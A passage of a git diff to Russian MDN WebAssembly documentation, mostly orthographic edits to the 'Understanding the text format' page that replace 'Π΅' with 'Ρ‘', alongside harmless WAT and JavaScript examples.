+<p>Π’Π°ΠΊ ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ наш ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΈΠ· ΠΏΠ°ΠΏΠΊΠΈΒ <code>node_modules</code>. Π­Ρ‚ΠΎ Π½Π΅ считаСтся Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ, Π½ΠΎ это ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ° сойдёт. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ„Π°ΠΉΠ» загрузится, ΠΎΠ½ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>greet</code> ΠΈΠ· этого модуля, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Β <code>"WebAssembly"</code>, ΠΊΠ°ΠΊ строку. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅,Β Ρ‡Ρ‚ΠΎ здСсь Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ особСнного, ΠΈ всС ΠΆΠ΅ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΊΠΎΠ΄ Π½Π° Rust! Насколько JavaScript ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡƒΠ΄ΠΈΡ‚ΡŒ, это просто ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ.</p>
<p>ΠœΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ! Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ:</p>
diff --git a/files/ru/webassembly/understanding_the_text_format/index.html b/files/ru/webassembly/understanding_the_text_format/index.html
index 38934e21f2..226a873888 100644
--- a/files/ru/webassembly/understanding_the_text_format/index.html
+++ b/files/ru/webassembly/understanding_the_text_format/index.html
@@ -8,14 +8,14 @@ translation_of: WebAssembly/Understanding_the_text_format
<p class="summary">Π§Ρ‚ΠΎΠ±Ρ‹ люди ΠΌΠΎΠ³Π»ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ WebAssembly, сущСствуСт тСкстовоС прСдставлСниС Π΄Π²ΠΎΠΈΡ‡Π½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° wasm. Π­Ρ‚ΠΎ промСТуточная Ρ„ΠΎΡ€ΠΌΠ°, прСдназначСнная для отобраТСния Π² тСкстовых Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°Ρ…, срСдствах Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ Ρ‚. Π΄. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ этот тСкстовый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния синтаксиса, ΠΊΠ°ΠΊ ΠΎΠ½ связан с Π±Π°ΠΉΡ‚-ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ прСдставляСт ΠΈ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² wasm Π² JavaScript.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ОзнакомлСниС с Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ излишним, Ссли Π²Ρ‹ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просто Ρ…ΠΎΡ‡Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ wasm Π½Π° страницу ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² своСм ΠΊΠΎΠ΄Π΅ (см. <a href="/ru/docs/WebAssembly/Using_the_JavaScript_API">ИспользованиС WebAssembly JavaScript API</a>). Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ нСсколько ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ wasm для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ вашСй Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ JavaScript ΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой собствСнный компилятор WebAssembly.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ОзнакомлСниС с Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΡ‘ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ излишним, Ссли Π²Ρ‹ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просто Ρ…ΠΎΡ‡Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ wasm Π½Π° страницу ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² своём ΠΊΠΎΠ΄Π΅ (см. <a href="/ru/docs/WebAssembly/Using_the_JavaScript_API">ИспользованиС WebAssembly JavaScript API</a>). Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ нСсколько ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ wasm для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ вашСй Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ JavaScript ΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой собствСнный компилятор WebAssembly.</p>
</div>
<h2 id="S-выраТСния">S-выраТСния</h2>
<p>Как Π² Π΄Π²ΠΎΠΈΡ‡Π½ΠΎΠΌ, Ρ‚Π°ΠΊ ΠΈ Π² тСкстовом Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… основным Π±Π»ΠΎΠΊΠΎΠΌ ΠΊΠΎΠ΄Π° Π² WebAssembly являСтся ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. Π’ тСкстовом Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ прСдставлСн ΠΊΠ°ΠΊ ΠΎΠ΄Π½ΠΎ большоС S-Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. S-выраТСния - это ΠΎΡ‡Π΅Π½ΡŒ старый ΠΈ ΠΎΡ‡Π΅Π½ΡŒ простой тСкстовый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для прСдставлСния Π΄Π΅Ρ€Π΅Π²ΡŒΠ΅Π². И поэтому ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΊΠ°ΠΊ ΠΎ Π΄Π΅Ρ€Π΅Π²Π΅ ΡƒΠ·Π»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ структуру модуля ΠΈ Π΅Π³ΠΎ ΠΊΠΎΠ΄. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ абстрактного синтаксичСского Π΄Π΅Ρ€Π΅Π²Π° Π² языкС программирования, Π΄Π΅Ρ€Π΅Π²ΠΎ WebAssembly довольно плоскоС ΠΈ состоит Π² основном ΠΈΠ· списков инструкций.</p>
-<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, ΠΊΠ°ΠΊ выглядит S-Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» Π΄Π΅Ρ€Π΅Π²Π° Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΏΠ°Ρ€Ρƒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок - <code>( ... )</code>. ΠŸΠ΅Ρ€Π²Π°Ρ ΠΌΠ΅Ρ‚ΠΊΠ° Π² скобках сообщаСт Π²Π°ΠΌ, ΠΊΠ°ΠΊΠΎΠΉ это Ρ‚ΠΈΠΏ ΡƒΠ·Π»Π°, Π·Π° Π½ΠΈΠΌ слСдуСт Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ список Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΈΠ»ΠΈ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… ΡƒΠ·Π»ΠΎΠ². Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим, Ρ‡Ρ‚ΠΎΒ  ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ S-Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ WebAssembly:</p>
+<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, ΠΊΠ°ΠΊ выглядит S-Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» Π΄Π΅Ρ€Π΅Π²Π° Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΏΠ°Ρ€Ρƒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок - <code>( ... )</code>. ΠŸΠ΅Ρ€Π²Π°Ρ ΠΌΠ΅Ρ‚ΠΊΠ° Π² скобках сообщаСт Π²Π°ΠΌ, ΠΊΠ°ΠΊΠΎΠΉ это Ρ‚ΠΈΠΏ ΡƒΠ·Π»Π°, Π·Π° Π½ΠΈΠΌ слСдуСт Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ список Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΈΠ»ΠΈ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… ΡƒΠ·Π»ΠΎΠ². Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим, Ρ‡Ρ‚ΠΎΒ  ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ S-Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ WebAssembly:</p>
<pre>(module (memory 1) (func))</pre>
@@ -23,7 +23,7 @@ translation_of: WebAssembly/Understanding_the_text_format
<h3 id="Π‘Π°ΠΌΡ‹ΠΉ_простой_ΠΌΠΎΠ΄ΡƒΠ»ΡŒ">Π‘Π°ΠΌΡ‹ΠΉ простой ΠΌΠΎΠ΄ΡƒΠ»ΡŒ</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с самого простого модуля wasm.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с самого простого модуля wasm.</p>
<pre>(module)</pre>
@@ -44,7 +44,7 @@ translation_of: WebAssembly/Understanding_the_text_format
<ul>
<li><strong>signature</strong> ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ (ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹) ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ (Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ значСния).</li>
- <li><strong>locals</strong> ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π² JavaScript, Π½ΠΎ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ явными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ.</li>
+ <li><strong>locals</strong> ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π² JavaScript, Π½ΠΎ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ явными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ.</li>
<li><strong>body</strong> - это просто Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ список Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹Ρ… инструкций.</li>
</ul>
@@ -101,11 +101,11 @@ translation_of: WebAssembly/Understanding_the_text_format
<h2 id="Π‘Ρ‚Π΅ΠΊΠΎΠ²Ρ‹Π΅_ΠΌΠ°ΡˆΠΈΠ½Ρ‹">Π‘Ρ‚Π΅ΠΊΠΎΠ²Ρ‹Π΅ ΠΌΠ°ΡˆΠΈΠ½Ρ‹</h2>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ смоТСм Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‚Π΅Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΎ <strong>стСковых ΠΌΠ°ΡˆΠΈΠ½Π°Ρ…</strong>. Π₯отя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ wasm-ΠΊΠΎΠ΄ Π²ΠΎ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ эффСктивноС, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ опрСдСляСтся Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… стСковой ΠΌΠ°ΡˆΠΈΠ½Ρ‹, Π³Π΄Π΅ основная идСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ‚ΠΈΠΏ инструкции ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>i32</code> / <code>i64</code> / <code>f32</code> / <code>f64</code> Π² стСк ΠΈΠ»ΠΈ ΠΈΠ· стСка.</p>
+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ смоТСм Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‚Π΅Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎ <strong>стСковых ΠΌΠ°ΡˆΠΈΠ½Π°Ρ…</strong>. Π₯отя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ wasm-ΠΊΠΎΠ΄ Π²ΠΎ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ эффСктивноС, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ опрСдСляСтся Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… стСковой ΠΌΠ°ΡˆΠΈΠ½Ρ‹, Π³Π΄Π΅ основная идСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ‚ΠΈΠΏ инструкции ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>i32</code> / <code>i64</code> / <code>f32</code> / <code>f64</code> Π² стСк ΠΈΠ»ΠΈ ΠΈΠ· стСка.</p>
-<p>НапримСр, инструкция <code>get_local</code> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для помСщСния значСния локальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½Π° считала, Π² стСк. А инструкция <code>i32.add</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π²Π° значСния <code>i32</code> (нСявно ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π²Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… значСния, ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Ρ… Π² стСк), вычисляСт ΠΈΡ… сумму ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π½Π°Π·Π°Π΄ Π² стСк Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ вычислСния <code>i32</code>.</p>
+<p>НапримСр, инструкция <code>get_local</code> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для помСщСния значСния локальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½Π° считала, Π² стСк. А инструкция <code>i32.add</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π²Π° значСния <code>i32</code> (нСявно ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π²Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… значСния, ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Ρ… Π² стСк), вычисляСт ΠΈΡ… сумму ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π½Π°Π·Π°Π΄ Π² стСк Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ вычислСния <code>i32</code>.</p>
-<p>Когда вызываСтся функция, для Π½Π΅Π΅ выдСляСтся пустой стСк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ постСпСнно заполняСтся ΠΈ очищаСтся ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ инструкций Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, послС выполнСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
+<p>Когда вызываСтся функция, для Π½Π΅Ρ‘ выдСляСтся пустой стСк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ постСпСнно заполняСтся ΠΈ очищаСтся ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ инструкций Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, послС выполнСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
<pre>(func (param $p i32)
get_local $p
@@ -128,7 +128,7 @@ translation_of: WebAssembly/Understanding_the_text_format
<p>Π­Ρ‚Π° функция ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, складываСт ΠΈΡ… вмСстС ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.</p>
-<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΌΠ½ΠΎΠ³ΠΎ инструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Ρ‚Π΅Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. БСйчас ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с простых, Π° Π΄Π°Π»Π΅Π΅ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ продвиТСния. ΠŸΠΎΠ»Π½Ρ‹ΠΉ список доступных инструкций смотритС Π² справочникС ΠΏΠΎ <a href="http://webassembly.org/docs/semantics/">сСмантикС webassembly.org</a>.</p>
+<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΌΠ½ΠΎΠ³ΠΎ инструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Ρ‚Π΅Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. БСйчас ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с простых, Π° Π΄Π°Π»Π΅Π΅ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ продвиТСния. ΠŸΠΎΠ»Π½Ρ‹ΠΉ список доступных инструкций смотритС Π² справочникС ΠΏΠΎ <a href="http://webassembly.org/docs/semantics/">сСмантикС webassembly.org</a>.</p>
<h3 id="Π’Ρ‹Π·ΠΎΠ²_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ">Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h3>
@@ -169,7 +169,7 @@ translation_of: WebAssembly/Understanding_the_text_format
<h2 id="Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅_основ">Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ основ</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ рассмотрСли ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΠΎΠ»Π΅Π΅ слоТных возмоТностСй.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ рассмотрСли ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΠΎΠ»Π΅Π΅ слоТных возмоТностСй.</p>
<h3 id="Π’Ρ‹Π·ΠΎΠ²_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ_ΠΈΠ·_Π΄Ρ€ΡƒΠ³ΠΈΡ…_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ_Π²_Ρ‚ΠΎΠΌ_ΠΆΠ΅_ΠΌΠΎΠ΄ΡƒΠ»Π΅">Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΌΠΎΠ΄ΡƒΠ»Π΅</h3>
@@ -184,10 +184,10 @@ translation_of: WebAssembly/Understanding_the_text_format
i32.add))</pre>
<div class="note">
